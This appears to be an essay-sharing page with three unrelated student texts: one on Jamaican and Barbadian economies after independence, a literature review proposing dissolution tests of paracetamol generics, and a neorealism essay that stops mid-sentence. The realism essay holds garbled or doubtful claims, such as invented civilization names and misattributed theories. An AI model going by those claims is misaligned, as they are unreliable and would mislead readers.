Economic and Social Development in Post-Independence Jamaica and Barbados Essay Example for Free

Economic and Social Development in Post-Independence Jamaica and Barbados Essay Jamaica and Barbados have socially and economically advanced since their independences. Each country has been able to economically sustain itself without the assistance of Britain, which used to govern the two as territories. But despite the two countries’ self-regulation and reliance, both of the nations are quite poor, and are considered third world countries. Jamaican and Barbadian History Both of the two nations were originally colonized by Great Britain (after being discovered by the Spanish) under the mercantilism policy, which encouraged European colonization of other areas. This was because the policy showed that a nation’s prosperity could be determined by its adequacy in trade, and exports were far more valuable than imports under the policy. So European nations that could not produce particular products on their own would colonize other areas that could, so they could use the goods, and export them to other nations that did not have the means to acquire those particular goods on their own. So many of the Caribbean islands that Britain colonized were exploited because of their warm climates, which allowed them to grow certain crops, such as sugar. This crop was one of the main reasons that Britain had colonized such territories as Jamaica and Barbados. Jamaica’s Independence and its Economic Enterprises Thereafter It was in 1962 that the United Kingdom’s parliament granted Jamaica its independence, after which the nation ceased to be regulated by its European founder. After its independence, the Jamaican government arose, and began sponsoring employment opportunities, though many jobs arose in the private sector. Sugar and bananas were the original crops grown in Jamaica, and exported to locations worldwide, and the cultivation of these crops serves as a major source of employment on the island. The nation’s tropical climate makes it a suitable location for the growing of these crops, which cannot be grown in the United States or Europe, so some of the sugar and bananas in those areas come from Jamaica. Jamaican Exports and Recent Economic Problems Jamaica also has a natural supply of bauxite, which is a source of aluminum ore, and is therefore a valuable product, which employs many people as miners. But recently, the economic status of the island has been declining. Periods of unfavorable weather have led to a sharp decrease in the production of sugar cane and bananas over the last decade, and inflation has been plaguing the island. The recent lack of favorable agricultural activity has been so extreme that the nation has been forced to import products that, if conditions were better, Jamaica could produce itself. But lately, coffee has been another profitable crop that can be grown around the island’s blue mountains area, when sugar and bananas cannot, and it serves as a primary export, and source of national income. Other Industries in Jamaica Jamaica also has an industry concerned with the rearing of domestic animals, and a dairy industry. But that has also been declining, and the nation has actually been importing milk, butter, and cheese from elsewhere. Other smaller cash crops of the island include citrus fruits, such as oranges, and cocoa, but the industries concerned with those crops are considerably smaller than that of the sugar sector. Mining employs a small number of citizens, as does fishing, and foresting, as loggers are able to export lumber to countries that do not have access to the same tropical woods. Also in Jamaica is the manufacturing industry, which usually accounts for just under 20% of the nation’s GDP annually. Tourism has also proved to be a profitable market for the nation, and it serves as a social and economic boost for the nation, but since the turn of the century, tourism has been slower in Jamaica. Barbados’ Independence and Its Trade History Barbados achieved its independence from the United Kingdom in 1966, after which the nation began governing and regulating itself. Since that time, sugar cane has proved to be the greatest contribution to the nation’s employment, and it serves as Barbados’ most significant export. In 1961, five years before the country’s independence from great Britain, Barbados opened the Deep Water Harbour port, located in Bridgetown, which serves as the nation’s main port, and allows large container ships and freighters to export sugar and manufactured products Barbados’ Manufacturing Sector Although sugar was for some time the main source of income for the nation, recently, manufacturing and tourism has been increasing in Barbados. The manufacturing sector began in the 1980s, and continued to be a profitable investment in the country into the 1990s, as certain companies exploited the nation’s cheap labor to save money on manufacturing in the United States and Europe. The United States has proved to be the main trade partner of Barbados, which also relies on certain imports from the United States. â€Å"The United States remained Barbados leading trade partner in 1987 with transactions valued at $189 million ($128 million in U. S. exports and $61 million in U.  S. imports),† an article for Business America, entitled Barbados: economy relies on U. S. for products, investment Business Outlook Abroad reported of the trade status in 1988. â€Å"Moreover, Barbados continued to welcome American investment in virtually all sectors of the economy. In addition to direct investors, in recent years Barbados has attracted a sizable number of American captive insurers, international business companies, and foreign sales corporations largely through a bilateral double taxation agreement. This means that at an earlier time, the economy of the nation was stabilized by foreign investments, and exports that served to preserve trade relations between the United States and Barbados. Trade Alliances and Foreign Investments And with Barbados’ good terms with the United States came the tourism industry. American, Canadian, and European tourists provide the nation with a stable tourism industry that serves as a main source of income on the nation. Foreign interests in the nation that led to the tourism industry was somewhat of an atypical event for a Caribbean country, as most nations in the area have not been able to capitalize on the industry, or attract foreign investors in its markets as Barbados did. Major tourism projects, such as resorts and cruise adventures continue to benefit the nation’s tourism industry, and satisfied tourists keep the industry alive. Federal and Private Programs in Barbados Recently, government-regulated ventures in the nation have been turning into privatized corporations. The government of the nation is not satisfied with the high unemployment rate, so it is trying to encourage small businesses to form, and stabilize themselves, because this should lead to the creation of jobs. But lately, nationally sponsored programs such as offshore banking enterprises, and foreign exchange moderation by Barbados have proved to be effective ways of earning the nation capital. Most manufacturing and sugar cane production, however, is done in the private sector, and is not federally regulated. This allows small businesses and farmers to have steady employment, and the steady production of crops allows the nation to not only export the crops, but use them itself, which decreases Barbados’ reliance on imports from other nations. Both Jamaica and Barbados have been able to maintain themselves to some degree, economically and socially since their independences from Britain. The development of Jamaica, however, was much more typical for a West Indian nation than was the development of Barbados, because Jamaica was not able to draw foreign investors and establish particularly coordinated trade patterns like Barbados was. In this aspect, Barbados was much more successful than were most West Indian nations, as it was able to maintain exports even when economic times were difficult. The Jamaican economy has been experiencing more problems than that of Barbados, and inflation in Jamaica is causing serious problems. Barbados, however, unlike most Caribbean nations, has been able to rebound, and it has a very high rate of tourism, which provides the nation with a steady rate of foreign income.

Dissolution Profile of Paracetamol Generics

Dissolution Profile of Paracetamol Generics 1 Introduction The pharmaceutical industry had an estimated turnover of $773 billion in 2008,1 however not all of this revenue was taken as profit; a significant cost goes into research and industry guideline compliance. With regards to new generic medications, proving bioequivalence is crucial to success, however necessary in vivo testing can be costly.2 Drugs which meet certain Biopharmaceutics Classification System (BCS) criteria may be exempt from these expensive tests and can be permitted a biowaiver.3 This allows in vitro dissolution testing in place of in vivo plasma analysis. Paracetamol is one such drug that has qualities which place it at the borderline of biowaiver suitability.3 It is the worlds most commonly used analgesic4 and the question arises as to whether all preparations are as effective as each other? More specifically we ask, is there is any significant difference between the dissolution profile of paracetamol generics? This literature review is in preparation of experimental t ests designed to ascertain if there is any difference in dissolution profile of eight bioequivalent preparations listed on the Australian Pharmaceutical Benefits Scheme (PBS), and whether this difference may correlate to a clinical significance in such a common place drug. 2 Search Strategy All data was sourced through internet databases, i.e. Medline, Pubmed, and the Cochrane Library. The search engines Google Scholar and UWA library were also utilized. Keywords included. KEY WORDS Paracetamol, acetaminophen, bioequivalent (therapeutic equivalency), Delayed-action Preparations, Pharmaceutical Preparations, Tablets, Drug Compounding, Chemistry, Pharmaceutical, Observer Variation, Dissolution, Metabolism, in vitro, in vivo, IVIVC, Drug Content, Bioavailability and Correlation. Boolean searching was utilised to broaden or narrow search results and once appropriate articles were sourced, citing and cited articles were also evaluated. 3 Paracetamol 3.1 History Paracetamol (acetaminophen) is one of the worlds most popular drugs for the treatment of pain and fever.4 It was first synthesized in 1878 by Morse, and was used clinically for the first time in 1887 by von Merring.4, 5 Paracetamol fell into obscurity shortly thereafter in favour of other chemically related drugs such as phenacetin.5 However, phenacetin was later found to be nephrotoxic, and the search for a substitute arose.5 In 1950, a study from Brodie and Axelrod rediscovered paracetamols suitable analgesic properties.4 Although, this drug did not experience widespread acceptance until the 1970s due to unfounded concerns about safety; but from then on, it became the most commonly used medication for pain.4 In many countries, such as the United Kingdom, paracetamol sales have exceeded those of aspirin since 1980.4 3.2 Physicochemical properties Paracetamol or N-(4-hydroxyphenyl) acetamide, is a white crystalline powder with a melting point of 168-172C (Martindale). It is sparingly soluble in water, ie. one part of paracetamol is soluble in 70 parts of water at room temperature.3 It is also freely soluble in alcohol. (Martindale) Paracetamol shows maximal UV absorption at a wavelength of 249nm and is reported to have a pKa of 9.5 at 25C.3 3.3 Pharmacology Pharmacokinetics 3.3.1 Pharmacodynamics Mechanism of Action The exact mechanism of action of paracetamol has remained largely unknown for some time.6-9 For years it has been thought to inhibit the enzyme cyclooxygenase (COX) in a similar manner to non-steroidal anti-inflammatory drugs, however definitive proof of analgesia and antipyresis being dependent on COX inhibition is still lacking.4 Recently, two independent groups have produced experimental data that has demonstrated that analgesia involves the potentiation of the cannabinoid vanilloid tone in the brain and in the dorsal root ganglia.4 Blockade of cannabinoid (CB1) receptors in rats has eliminated any analgesic properties of paracetamol and suggests that paracetamol is in fact a cannabinomimetic.4 3.3.2 Pharmacokinetics 3.3.2.1 Absorption Bioavailability: Paracetamol has been reported to have a bioavailability of 62%-89% in those of a fasted state,3, 8 this divergence from absolute bioavailability is attributed to first pass hepatic metabolism. Peak plasma concentrations are reached between 0.17-2.0 hours post-dosing.10 As expected, food has been shown to reduce absorption by increasing tmax and decreasing Cmax values. Food has not been shown to affect the amount of acetaminophen reaching the blood.3 3.3.2.2 Distribution: Paracetamol has a reported volume of distribution of 0.69-1.36L/Kg.11 Around 20%-25% of the drug is bound to plasma proteins at therapeutic dosages; however this value has been shown to increase to 20%-50% in over dosage. Paracetamol has also been shown to cross the placenta, and has a 1.24 milk/plasma ratio in breast milk.3 Paracetamol is an ADEC category A drug, i.e. it is safe to use in pregnancy, as well as breastfeeding.9 3.3.2.3 Metabolism Excretion: Around 85%-90% of paracetamol is metabolized within the liver via the process of glucuronidation and sulfation.3 These inactive metabolites are then eliminated by the kidney in the urine. Approximately 5% of paracetamol is passed out unchanged in the urine, the remaining drug is conjugated with cysteine and mercapturic acid.3, 8 The half-life of paracetamol has been reported as 1.9 4.3 hours3, 8, 10 but longer in those with renal impairment. 3.4 Indication Paracetamol is indicated in the symptomatic treatment of mild-to-moderate pain as well as fever3, 9 and has also been described to have mild anti-inflammatory properties.3 3.5 Dose Dosage Forms For adults, the optimal single dose of paracetamol is 1g,3, 9 with a maximum dose of 4g daily.9 Hepatocellular necrosis can occur from doses of 10-15g, and death may result in doses in excess of 20-25g.3 Paracetamol is available in many dosage forms, as a single active pharmaceutical ingredient (API), or in combination with other analgesics such as codeine (Panadeine), dextropropoxyphene (Di-Gesic), metoclopramide (Metomax), as well as in combination with decongestants such as pseudoephedrine in cold-and-flu preparations.9 This drug is available as immediate release (IR) tablets, sustained release (SR) tablets, chewable, elixirs, IV injections and suppositories.9 4 Biopharmaceutics Classification System The Biopharmaceutics Classification System (BCS) is a method of grouping active pharmaceutical ingredients (API) based on their solubility and intestinal permeability.12-16 The system allows for easy identification of those drugs whose in vivo absorption can be easily anticipated based on their in vitro dissolution.12, 15, 16 This implies that two different products containing the same drug will have the same rate and extent of absorption if, over time, they both have the same concentration profile at the intestinal membrane.12 Since it is the dissolution profile of a drug which determines its concentration profile in the intestinal lumen, comparability of this parameter in vitro should produce comparable absorption results in vivo.12 In reality however, only those drugs with high permeability which are formulated into IR preparations can be easily and reliably applied to this logic.12, 15, 16 4.1 BCS Drug Classes There are four classes within the BCS to which a drug can be assigned (as outlined in figure 1). Class I is comprised of those drugs with high permeability and solubility, these drugs are expected to be well absorbed and, providing dissolution is slower than gastric emptying, show a good correlation between in vitro dissolution rate and the rate and extent of in vivo absorption (IVIVC).12, 15, 16 Class II drugs also have high permeability but their solubility is low which ensures in vivo dissolution is the rate limiting step in drug absorption and thus IVIVC is expected.12 Class III drugs have a low permeability with high solubility, traditionally these drugs were believed to have little or no IVIVC,12 however recent studies have shown that if a class III drug is very rapidly dissolving then a correlation may exist.18, 19 Finally Class IV drugs have both low permeability and solubility these drugs are not expected to show any IVIVC.12 For each of the four BCS classes a drug substance is considered highly soluble when the highest [IR] dose strength is soluble in 250mL or less of aqueous media over the pH range of 1-7.5.16 The permeability of a drug is considered high if greater than 90% of a dose is absorbed across the intestinal membrane.16, 20 Using these definitions, paracetamol is classified as a BCS class III drug but it is also described as borderline class I because it is only just on the cusp of low permeability.3 4.2 Utility of the BCS The genius of the BCS is that it allows easy identification of drug candidates for which relatively cheap and fast in vitro dissolution testing can replace the more expensive, time consuming and invasive in vivo absorption testing.2 The system does away with complex bioavailability modeling that must account for fasted and fed states as well as cyclical changes in motility and gastric emptying.12, 14 The impact of the BCS on the pharmaceutical industry was so great that in 2006, creator Dr. Gordon Amidon was awarded the International Pharmaceutical Federation (FIP) Distinguished Scientist Award.21 5 Correlation between in vitro dissolution and bioavailability Following the introduction of the BCS a great deal of research was conducted exploring the power of IVIVC. It became a main focus not just of the pharmaceutical industry but also of academia and regulatory authorities.2 IVIVC became popular because it can be used as a substitute for resource intensive bioavailability testing; the concept has essentially improved the speed and cost of drug development as well as quality control in pharmaceutical manufacturing.2 5.1 Bioavailability and Bioequivalence Bioavailability is an important concept because it determines the efficacy, safety and reproducibility of the therapeutic effect of drugs and the many formulations in which they come.22 For the purpose of drugs that produce a systemic therapeutic effect, the Australian Therapeutic Goods Administration (TGA)22 defines bioavailability as the extent and the rate at which a substance or its active moiety is delivered from a pharmaceutical form and becomes available in the general circulation. Bioavailability is therefore inherently linked to drug absorption and may also be predicted using IVIVC as defined by the BCS. If two pharmaceutically equivalent (same active ingredient and content in the same formulation) products have the same bioavailability they are considered bioequivalent and will essentially have the same efficacy and safety. Bioequivalence is important because it is the basis for which innovator medicines can be substituted with generics. 5.2 Strength of in vitro in vivo correlations The BCS is a predictive tool for determining which drugs will have an IVIVC. Table 1 demonstrates that under the BCS only class II along with some class I drugs are expected to have IVIVCs.12 Research subsequent to Dr. Amidons first BCS publication has generally upheld his initial findings however exceptions to the rule have been found. 5.2.1 Drugs with IVIVC The BCS suggests that if the bioavailability of a drug is dissolution rate limited then a good IVIVC should be possible. This notion has been demonstrated for flutamide a very poorly soluble high dose compound which is not expected to have IVIVC but has dissolution rate limited absorption.23 A paper published by Posti, Katila Kostiainen23 concluded that there is a strong IVIVC for flutamide and this was identified on four separate occasions where bioavailability was studied. All four studies were of single dose, cross over design and each subsequent study increased the number of subjects tested (study I: n = 6, Study IV: n = 24). The strength of the papers methodology provides good support for its conclusions however this was undermined by a lack of documented statistical analysis. Much more compelling evidence comes from a study by Sakuma et. al.24 which was able to show an IVIVC for two BCS class I drugs after they received an enteric coating, thus eliminating the possibility that gastric emptying was the rate limiting step. The results were statistically significant, however the tablets were tested in rat models rather than human subjects and the dissolution test may not have adequately reflected the in vivo environment that enteric coated tablets are subject to.24 Further studies in human subjects demonstrating the difference in IVIVC between enteric and non-enteric coated tablets could not be identified in the literature. There are hundreds of other drugs which have an IVIVC and these are neither limited to BCS class II drugs or drugs with dissolution rate limited absorption. Theophylline is a BCS class IV drug and yet in a complete cross over study of four different theophylline tablets the in vitro dissolution was able to significantly predict several in vivo pharmacokinetic parameters (AUC Cmax) which dictate bioavailability.25 The study was small (n = 6) and not all pharmacokinetic parameters could be correlated. Other common drug examples with IVIVC include digoxin,26 rifampicin,27 diclofenac28 and lamotrigine29 and these are by no means exhaustive. 5.2.2 Drugs without IVIVC Not all drugs have an IVIVC and this can also include some BCS class II drugs. A research paper by Frick, Moller Wirbitzki 199830 demonstrated that the in vitro dissolution of glimepiride (BCS class II) is not comparable to dissolution in vivo. The study employed a single dose cross-over design with 12 subjects, Latin-Square statistical analysis was employed and the results were assumed to be significant however not all the data was accompanied by supporting confidence values. No correlation was possible because the solubility of glimepiride is low and strongly pH dependent.30 Unlike glimepiride, ciprofloxacin a quinolone antibiotic, is classified as a BCS class III drug and as a consequence would not be predicted to have an IVIVC. Correspondingly, when tested for this possibility none could be found between dissolution and any of the parameters for bioavailability (Tmax, Cmax, AUC Ka).31 5.2.3 Strength of BCS in predicting IVIVC There is a wide variance between IVIVCs that are anticipated according to the BCS and those that are actually demonstrated after experimental testing. Examples have been provided where both expected and unexpected correlations occur and this suggests that the BCS system while helpful should only be taken as a guide. Laboratory testing is still the only reliable method for determining if a correlation is occurs. Paracetamol is a BCS class III medication and as such is not expected to demonstrate strong IVIVC. Given the fact that paracetamol has a wide therapeutic index and the BCS can only be used as a guide, a safe and useable IVIVC may still exist. 5.2.4 IVIVC of paracetamol The prodigious use, vast quantities manufactured and the presence of many generic products in the marketplace makes paracetamol a prime candidate for IVIVC testing. In 1996 Retaco et. al.32 conducted a small crossover study using five subjects to assess whether an IVIVC for paracetamol may exist. The study stated that the absorption data from saliva partially correlated with those found in vitro,32 this however is not a valid conclusion. One of the subjects studied produced in vivo data that opposed a correlation and this anomaly was further confounded by the fact that statistical analysis was not performed on the IVIVC but rather covered the in vitro and in vivo data separately. This pilot study was later contradicted by Babalola et. al.33 who found limited IVIVCs and suggested that paracetamol absorption may not be limited by its dissolution rate. Similarly, a thorough, well designed, complete crossover (44) study that balanced for first order residual effects, suggested that it wa s dangerous to use dissolution as the sole test for paracetamol bioequivalence.34 Interestingly, all of these studies demonstrated bioequivalence between the various products of paracetamol even if they showed no IVIVC. 6 Biowaiver for bioequivalence testing In vivo bioequivalence studies are required to ascertain the potential differences in bioavailability between innovator and generic products which, may lead to therapeutic inequivalence. A biowaiver provides the authority and grounds for fiscally intensive bioequivalence testing to be replaced by more tolerable in vitro testing. For the most part, IVIVC must first be established in order for a drug to be considered for a biowaiver. The BCS has outlined properties of solid preparations which require evaluation in biowaivers, i.e. solubility, permeability, and dissolution rate.35 In addition to this, the non-critical therapeutic range of a drug should also be considered35 and this is the basis for which paracetamol has gained biowaiver status.3 It should be noted that products produced by the same manufacturer at the same site are exempt from bioequivalence studies.36 6.1 Paracetamol Biowaiver Several characteristics must be considered when a drug presents as a candidate for a biowaiver through dissolution testing. Paracetamol is not a classic biowaiver candidate because it is classified as a BCS Class III drug, it does however possess properties borderline to Class I3 and these enable it to fulfill the requirements of a biowaiver. 6.2 Biowaiver requirements 6.2.1 Characteristics relevant to the active ingredient 6.2.1.1 Risk of therapeutic failure or adverse drug reactions i.e. the need for critical plasma concentrations. When considering a biowaiver for a drug substance, its therapeutic use and therapeutic index also needs to be taken into account.16 In the case of paracetamol, the therapeutic indications are not critical, and there is a wide difference between the usual therapeutic dose and toxic doses. Given that an optimal therapeutic dose for an adult is 1g, and that hepatocellular necrosis can result from ingestion of 10-15g, it can be assumed that paracetamol is not a narrow therapeutic index drug.3 6.2.1.2 Risk of bioinequivalence: Previous evidence of bioavailability problems for an active substance can complicate the justification of in vitro dissolution bioequivalence correlation.35 For paracetamol, the absolute bioavailability has not been shown to vary between therapeutic dose ranges of 5-20mg/kg.3 Other studies have also demonstrated that bioequivalence in different IR paracetamol preparations is achievable.11, 32, 37 6.2.1.3 Solubility: If a drug is highly water soluble it generally lends to exemption of bioequivalence testing, however polymorphism and particle size are major determinants of dissolution and must be considered.35 A drug is considered highly soluble if the amount contained in a preparation of maximal strength dissolves in 250mL of three buffered solutions ranging between a pH of 1-8 at 37C.35 Paracetamol has a pKa of 9.5 and is therefore not substantially ionized at a pH less than 9. As a result, it can be said that its solubility does not vary with pH.3 The highest strength IR preparation of paracetamol is 500mg. Experimentally, this has been shown to dissolve in 21mL,3 which is significantly less than the 250mL that is required by the BCS guidance to prove solubility.16, 35 6.2.1.4 Pharmacokinetic properties: High permeability which is typically indicated by a linear absorption pattern, reduces the potential influence of an IR preparation on bioavailability.35 For paracetamol, the permeability is slightly below the cut-off value of 90%, i.e. one study by Stewart et al.38 found permeability to be 80% once absorbed. This formally excludes paracetamol from being considered for a biowaiver, although extensions to BCS Class III drugs have recently been given more attention.20, 39 6.2.2 Characteristics relevant to the medicinal product 6.2.2.1 Rapid dissolution: Dissolution profiles can be regarded as equal when more than 85% of the active ingredient is dissolved within 15 minutes.35 This comparison must occur between test and reference product in three buffers which with a pH range between 1-8, at 37C.35 Paracetamol tablets have been shown to dissolve within 30 minutes,32 however this rate does not satisfy BCS exemption standards. 6.2.2.2 Excipients: Those included are to be well established and not in atypically large quantities. Kalantzi et al.3 details a table of acceptable excipients which can be used within paracetamol IR tablet formulations which are considered for in vitro dissolution biowaiver. 6.2.2.3 Manufacture: Critical parameters such as particle size and polymorphism should be addressed and documentation should be provided in the dossier that is submitted to TGA.35 Paracetamol has three metastable forms, the only commercially available from is the monoclinic acetaminophen as it is the most thermodynamically stable polymorph.3 From review of the literature, it can be concluded that in vivo bioequivalence testing of solid, oral IR paracetamol dosage forms may not be necessary. This can be justified given that a paracetamol formulation can be shown to:3 Rapidly dissolve under USP guidelines Contain only the acceptable excipients, in usual quantities Demonstrates dissolution profile similar to reference product under conditions stated in USP guidelines 7 Statement of Purpose 7.1 Aim hypothesis The purpose of the proposed study is to compare the dissolution profiles of bioequivalent IR paracetamol preparations listed on the PBS. In particular, comparisons between every preparation will be made, rather than a single comparison against a referent. We hypothesize that there will be no significant difference between the dissolution profile of IR paracetamol tablets when dissolved according to USP specifications. 7.2 Methodology We propose to analyse the dissolution profiles of eight PBS listed bioequivalent paracetamol preparations, namely; APO-paracetamol, Chemmart Paracetamol, Dymadon P, Febridol, Panamax, Paracetamol Sandoz, Paralgin, and Terry White Chemists Paracetamol. Sixteen tablets of each preparation will be dissolved in compliance with USP dissolution test for tablets and capsules, using apparatus II. As mandated, tablets are to be dissolved in 900mL phosphate buffer at a pH of 5.8 with a paddle set to 50rpm. Samples will be taken at intervals of 2,5,10,15,30,45,60 minutes in concordance with practice by Dominguez et al.34 these aliquots will be examined for paracetamol by UV spectrophotometry at 289nm. These data will be statistically analysed by ANOVA. 7.3 Timeline Date Tasks to be performed Work Deadlines Week 11 (15.03 21.03) Create paracetamol standard curves, Test expected dissolution time, Order materials, Source test tablets, Visit school of statistics for advice. Literature Review Due Monday 15th March 12pm Week 12 (22.03 28.03) Testing of tablets 1 2: Dissolution UV vis Week 13 (29.03 04.04) Testing of tablets 3 4: Dissolution UV vis Week 14 (05.04 11.04) Testing of tablets 5 6: Dissolution UV vis Week 15 (12.04 18.04) Testing of tablets 7 8: Dissolution UV vis Week 16 (19.04 25.04) Week in lieu to finish experiments in case of unforeseen circumstances Week 17 (26.04 02.05) Data collation statistical analysis Briefing on the writing of the final report Wed 28.04 2pm Week 18 (03.05 09.05) Writing draft report Week 19 (10.05-16.05) Editing final draft report Week 20 (17.05 23.05) Powerpoint presentation format 1st Draft Research Project Due Friday 21st May Week 21 (24.05 30.05) Correcting draft report Week 22 (31.05 06.06) Amending powerpoint presentation Final report due Mon 31.05 12pm Week 23 (07.06 13.06) Amending final report Week 24 (14.06 20.06) Presentation rehearsal Seminars, submission of amended report to pharmacy office

Realism in contemporary politics

Realism in contemporary politics Which international relations theory best describes the worlds events? This is plainly a question highly likely to be exclusively asked by an international relations professor to his/her international relations students during a lecture. The students have to be analyzing this question very critically by taking all the found facts into careful consideration before deciding on anything. Not surprisingly, whilst some students will probably decide to choose interdependent liberalism or classical realism as their preferred answers, some others, by contrast, might prefer another distinguishable theory, for example, Marxism or Mercantilism. Yet, none of them nevertheless are either completely right or wrong. They all have their own supporting evidence based on passed histories and/or today worlds ongoing events to illustrate their own particular arguments. However, some if not all of the evidence is not concrete or convincing enough which can potentially draw criticisms or rebuts from tho se who are in an opposition side. As an international relations student, I to my preference will select neorealism or structural realism of Kenneth Waltz as the best international relations theory to explain the worlds political practices and tendency. Neorealism specifically refers to a theory which tries to explain that the state system, not human elements, is the mere determinant of the state behaviors. It whispers to the ears of all the states that they all have to act in accordance with the anarchy of the system to survive and prosper. People can act morally and ethically in their society within their confined territory. But states cannot and should not do the same thing otherwise they could treacherously place themselves in danger and more execrably in demise. This is chiefly because within a sovereign state, there is a central government or authority standing by to help regulate peoples social behaviors so that social order and peace can prevail and thereby peace and harmony. That is why we can see there are great lots of nice people whose good deeds override and outweigh bad deeds as they interact with one another in society. But we can also see that states more often than not fight, kill, destroy or sack each other for its own exclusively personal gains. Some states, such as Morn, Charm Civilizations, were already unmade. Albeit the League of Nations, Japan embarked on invading countries in Asia, and Germany in Europe; no (world) government or effectively strong international organization disciplined them. The US, despite disagreement from other big powers and UN, did stage war against Iraq. Recently, North Korea has bombed the South. This is not to mention many other cases. These highlight and exemplify ever-lasting anarchy of the system wherein (destructive) attacks and wars are always possible. The so-called Balance of Power widely known to be originally developed by Kenneth Waltz is a paradigmatically typical example of the worlds political trends. Balance of power specifically refers to the means by which a state in the anarchical state systems is highly likely to manipulate its ability, for example by forming an alliance with another or other states, simply in order for itself to better if not best stand up to a more powerful or superior state by which it feels threatened. Relative gains, which mean one state feels insecure when another has gained something out of the anarchical state system, and the endeavors to increase power to well ensure national interests, security, and survival can also potentially lead to balance of power. A sheer number of events demonstrate this mere claim. Recently, the USA has been to Indonesia and India and pledged to strengthen their mutual existing ties and relationships. From the political perspectives, we can see that the US does so simply and mainly to balance its power with China who apparently seems cunning and bullying over many worlds issues. European Union is also another supporting example. EU member states are bound and tied together not only economically, but also politically by pooling some of their sovereignty chiefly in order to balance its economic and political power with the rest of the world, including the US, the Oriental, and the developing countries which are emerging as potential challenging competitive rivals both economically and politically. One more relevant example falls on the case of ASEAN. ASEAN has called for the intervention from the US and Russia in the South China Sea issues, and this is perceived by the world as sort of balance of power by ASEAN with more economically and militarily powerful China . A main and original objective of ASEAN on which it has still centrally focused to-date is to strengthen its intra-regional economy so that it can well compete with the rest of the world, in particular the developed countries. This can also be viewed as balance of power. China is also a particularly obvious example of balance of power. China who used to be much inferior to the US economically and militarily now has virtually become the only USs equal. China has strived so hard for ages and for generations to build its powerhouse in order that its power can be balanced with the US so that China will never ever be easy to be threatened or coerced by the worlds only superpower. That is the very reason why China has been so wily in playing political and economic games in the international arena. China has publicly and secretly supported and granted military and economic aids without strings attached to the authoritarian and corrupt states (governments) who are often condemned and warned by the West to sever development aids on the ground of human rights violations or economic or political concession. It is not only that, China has also manipulated its skills to depreciate its own currency and thus increase its exports at the expense of others particularl y the US. The US has heavily responded to China. That is why the main item in the agenda of this year G-20 summit held in Seoul is surely currency issue. Neorealists can also be reasonably right to argue that the world can be characterized by security dilemma. Security dilemma specifically means that whilst a state is building its defensive capabilities, others will follow suit by building their own, and more often than not defensive capabilities can potentially be converted into the offensive, so wars or armed conflicts are more prone to be escalated then. Trying to shift balance of power and to protect national interests can potentially result in security dilemma as well. There are many of worlds emerging issues acting as clear cut examples to illustrate the point. The US was the first-ever state to introduce nuclear weapon. And then, USSR stool the nuclear technology from the US and built its own nuclear weapon. Facing the security dilemma, the two did compete with each not only over nuclear weapons, but also over other military technologies. After Cold War between these two superpowers came to the demise, other smaller states especially the authoritarian states started building nuclear weapons as well, leading to nuclear proliferation and spread. North Korea, Iran, Israel, Pakistan, India, China are believed to possess nuclear weapons. Taiwan, Japan, Viet Nam and a few others are also believed to be ready and willing to produce nuclear weapons also. Thus, we can say the US has been encountering even greater security dilemma. The US has been so tricky and pragmatic in maintaining its global-scale powerful position, role and influence so that it can ensure its own national interests; the US has manipulated oil politics in the Middle East. Given this behavior, China has been trying to be as powerful as the US through whatever sly means it can access; China supports the corrupt states whilst the West does not; China depreciates its national currency for its economic gains in spite of subsequent undesirable results to other economies; China becomes extremely starving for oil and natural resources; that is why South China Sea has been claimed by the newly emerging power. Not only China, others will also follow suit what China has done. Then, the US meets with another security dilemma. States seek for material power and capability in order to insure for states survival and defend their security in an uncertain and anarchy world. Due to this reason, Israel possessed monopoly nuclear weapon in Middle East mainly because she wants to defend herself from her neighbor countries who always want to revenge with for times. However, Iran viewed that Israel building nuclear weapon is not for defensive, so Iran strives very hard to devel op nuclear program and claim that she will wipe out the Jewish state out of the map one time. Self-help is also a characteristic feather of the worlds politics. A country in this anarchical state system must largely rely on itself; it would be too risky for her to trust others. The country must then build its own defensive capabilities to enhance its ability to protect itself from any aggression by any other state. Albeit a democratic state, the US built nuclear weapons simply to ensure its postwar national security and survival. China also spends more of its national budget on its national defense or military. It is mainly because they both and others are aware of possible danger or attacks in this anarchical international system. They must be always ready for any possible attacks. Kenneth Waltz can also be logically correct to convince that great power relations can potentially lead to international change especially more often than not at the event that great powers fall, rise, or their balance of power shifts. The great powers set the world scene for the rest. Cold War, WW I and II, UN (P-5), LN, colonialism, globalization are all the worlds milestones which were all initiated by the great powers who dominated the world at each time. Modern state system at the very beginning was exclusively in Europe, but now it has spread all over the world. In the past, the powerful states (European states) used military as their tool to harm the weaker (in Asia and Africa) by coming and colonizing those weak, vulnerable states, and now they use economy or globalization, instead; the developing or poor countries are more or less at the mercy of those developed countries; only a few Asian states, such as Japan, could help themselves get out of the apparent exploitation by t he developed. The infamous and famous Cold War was the mere product of ideological conflict between the two superpowers the US and the USSR at the time. Japan and Germany who were great powers gave birth to WWII. Pursuing national interests and seeking to augment power to ensure greater national security and survival also highlights the fact that neorealism and realism in general are applicable in the today world. No any single state in this anarchical system would let her national interests left behind and thus her national survival endangered. She must fight and struggle for the better. She would prefer declaring war to placing her state interests in danger. Armed conflicts between India and Pakistan, Malaysia and Singapore, Cambodia and Thailand, and South Korea and North Korea all emphasize the priority state interests. Endangered by terrorism, the US has taken actions to fight war on terror across the globe; a good example is the US invaded Afghanistan. Modeled by the US trick in world politics such as oil politics, China is doing the same thing; China has been known to be so cunning in increasing its global power; it supports the corrupt states; it manipulates its currency; it improves its military sector and so forth. Kenneth Waltz argues that world is also characterized by the uneven distribution of capabilities and this can lead to international war or conflicts. This point is strong. Of course, the state capabilities are never ever equal. If all the states of the system had the equal capabilities, then the worlds genuine peace could exist. Because of unequal capabilities, ASEAN and China who seems much more powerful are having long-standing conflicts with each other over South China Sea. WWI and II can also understood to have caused by the shift of balance of power to Germany and Japan, making the two become more powerful than other powers at the time. China and the US seem not to end up with any war with each other as they both have similar capabilities. But they both still have some sort of peaceful conflicts which are not yet international conflicts, but need international precaution or proactive solution, for example over the issue of currency and democracy. During cold war, the US and Sovi et maintained some type of peace as they did not escalate to war because they both had similar ability to destroy each other, yet some international happenings also explained Cold War, such as civil wars in Viet Nam, Korea, Cambodian, and so on. International competition claimed by neorealists can also be a true feather of world politics. In the past, we can see the competition between Sparta and Athens. And now we can see the resembled relations between the US and Soviet during cold war and betwixt the great powers before and during World Wars. They used military as their tools to compete or fight each other. Now that military tools have become obsolete, they used different tools in this different world context. They use economy or globalization or tree market/trade to compete with each other. China is competing with the rest of the world especially the potential region such as ASEAN, the US, Japan, and EU. That is why we can see there have emerged the group of eight, regional organizations, the group of twenty, free trade agreements, and so on and so forth. Realism argues that the theory well explains the actions of the middle and great powers who always act in reference to the anarchy of the system. They will always use 